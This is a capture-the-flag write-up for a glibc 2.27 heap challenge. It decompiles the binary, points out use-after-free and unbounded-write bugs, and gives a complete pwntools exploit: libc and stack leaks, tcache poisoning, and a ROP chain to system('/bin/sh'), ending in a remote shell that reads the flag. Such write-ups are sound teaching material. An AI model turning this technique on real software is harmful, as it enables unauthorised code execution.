This was a typical heap challenge

chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ld-2.27.so, BuildID[sha1]=f7af3096b9d7346eed91a5b203f3b1597ea893  
68, for GNU/Linux 3.2.0, stripped
   Arch:     amd64-64-little  
   RELRO:    Full RELRO  
   Stack:    Canary found  
   NX:       NX enabled  
   PIE:      PIE enabled

The function names are stripped, and all mitigations were enabled.

Analysing the binary in Ghidra, I have renamed some functions for clarity:

void main(void){
  long in_FS_OFFSET;
  char input;
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  do {
    puts("-----Options---");
    puts("-----Alloc-----");
    puts("-----Free------");
    puts("-----View------");
    puts("-----Edit------");
    puts("-----Exit------");
    puts("-----Resize----");
    putchar(L'>');
    __isoc99_scanf(&%c,&input);
    switch(input) {
    case '1':
      alloc();
      break;
    case '2':
      free();
      break;
    case '3':
      view();
      break;
    case '4':
      edit();
      break;
    case '5':
                    /* WARNING: Subroutine does not return */
      exit(0);
    case '6':
      resize();
    }
  } while( true );
}

In the function free there’s a Use After Free vulnerabilty, as it doesn’t clear the memory when freeing it, and it keeps the address in the idx_table, so we can access it.

void free(void){
  int idex;
  
  idex = read_idx();
  if (idex != -1) {
    free(*(void **)(&idx_table + (long)idex * 8));
  }
  return;
}

The function view doesn’t check if the address is freeid or not; an obvious UAF, so we can read memory even after calling free, this will be help us to leak some addresses.

void view(void){
  int idx;
  
  idx = read_idx();
  if ((idx != -1) && (idx < 0x20)) {
    puts(*(char **)(&idx_table + (long)idx * 8));
  }
  return;
}

The function edit is also vulnerable it gives an unlimited write into a given address in memory.

void edit(void){
  int idx;
  int size;
  
  idx = read_idx();
  if (idx != -1) {
    size = read_size();
    read(0,*(void **)(&idx_table + (long)idx * 8),(long)size);
  }
  return;
}

alloc is the allocation function, it simply calls malloc to allocate an address in the heap, and then stores this address at the given index in the idx_table.

 
void alloc(void){
  int idx;
  size_t __size;
  void *pvVar1;
  
  idx = read_idx();
  if (idx != -1) {
    __size = read_size();
    pvVar1 = malloc(__size);
    *(void **)(&idx_table + (long)idx * 8) = pvVar1;
  }
  return;
}

So here’s the breakdown of the exploit:

  • leak the address of libc
  • leak a stack address
  • use tcache poisining to get an arbiritary write
  • overwrite a return address in the stack with a call to system("/bin/sh")

leak libc base address

alloc(0, 0x420)
alloc(1, 24)
alloc(2, 24)
alloc(3, 24)
 
free(1)
free(2)
free(3)
free(0)
 
view(0)
 
leak = u64(io.recvuntil(b"---").split(b"\n")[0].ljust(8, b"\x00"))
libc.address = leak - 0x3afca0
log.success(f"Got libc address: 0x{libc.address:x}")

leak a stack address

edit(3, 8, p64(libc.symbols['environ']))
 
alloc(3, 24)
alloc(2, 24)
 
view(2)
 
out = io.recvuntil(b"---")
leak = u64(out.split(b"\n")[0].ljust(8, b"\x00"))
stack_address = leak - 0x150 # found using GDB
log.success(f"Got stack address: 0x{stack_address:x}")

overwritting a ret address

payload = flat({
        16: [
                p64(libc.address + 0x000000000002154d), # POP RDI
                p64(next(libc.search(b"/bin/sh\x00"))),
                p64(libc.symbols['system']),
            ]
        })
 
alloc(3, 48)
alloc(4, 48)
alloc(5, 48)
 
free(3)
free(4)
free(5)
 
edit(5, 8, p64(stack_address))
alloc(3, 48)
alloc(4, 48)
edit(4, 512, payload)

The full exploit

from pwn import *
 
gdbscript = '''
init-pwndbg
# continue
'''.format(**locals())
 
exe = './chal'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
 
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
 
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)
 
io = start()
 
def alloc(where, size):
    io.recvuntil(b"-----Resize----")
    io.sendline(b'1')
    io.recvuntil(b"Where? ")
    io.sendline(f"{where}".encode("utf-8"))
    io.recvuntil(b"size? ")
    io.sendline(f"{size}".encode("utf-8"))
 
def free(where):
    io.recvuntil(b"-----Resize----")
    io.sendline(b'2')
    io.recvuntil(b"Where? ")
    io.sendline(f"{where}".encode("utf-8"))
 
def view(where):
    io.recvuntil(b"-----Resize----")
    io.sendline(b'3')
    io.recvuntil(b"Where? ")
    io.sendline(f"{where}".encode("utf-8"))
 
def edit(where, size, data):
    io.recvuntil(b"-----Resize----")
    io.sendline(b'4')
    io.recvuntil(b"Where? ")
    io.sendline(f"{where}".encode("utf-8"))
    io.recvuntil(b"size? ")
    io.sendline(f"{size}".encode("utf-8"))
    io.send(data)
 
def resize(where, size):
    io.recvuntil(b"-----Resize----")
    io.sendline(b'5')
    io.recvuntil(b"Where? ")
    io.sendline(f"{where}".encode("utf-8"))
    io.recvuntil(b"size? ")
    io.sendline(f"{size}".encode("utf-8"))
 
# leak libc base -------------------------------------
alloc(0, 0x420)
alloc(1, 24)
alloc(2, 24)
alloc(3, 24)
 
free(1)
free(2)
free(3)
free(0)
 
view(0)
 
leak = u64(io.recvuntil(b"---").split(b"\n")[0].ljust(8, b"\x00"))
libc.address = leak - 0x3afca0
log.success(f"Got libc address: 0x{libc.address:x}")
 
# leak stack address -------------------------------------
edit(3, 8, p64(libc.symbols['environ']))
 
alloc(3, 24)
alloc(2, 24)
 
view(2)
 
out = io.recvuntil(b"---")
leak = u64(out.split(b"\n")[0].ljust(8, b"\x00"))
stack_address = leak - 0x150 # found using GDB
log.success(f"Got stack address: 0x{stack_address:x}")
 
 
# overwritting a ret address ----------------------------
payload = flat({
        16: [
                p64(libc.address + 0x000000000002154d),
                p64(next(libc.search(b"/bin/sh\x00"))),
                p64(libc.symbols['system']),
            ]
        })
 
alloc(3, 48)
alloc(4, 48)
alloc(5, 48)
 
free(3)
free(4)
free(5)
 
edit(5, 8, p64(stack_address))
alloc(3, 48)
alloc(4, 48)
edit(4, 512, payload)
 
io.interactive()

And here’s the flag:

[+] Opening connection to gold.b01le.rs on port 4001: Done  
[+] Got libc address: 0x7f3dc996a000  
[+] Got stack address: 0x7fff6bdb8b18  
[*] Switching to interactive mode  
$ cat flag.txt  
bctf{j33z_1_d1dn7_kn0w_h34p_1z_s0_easy}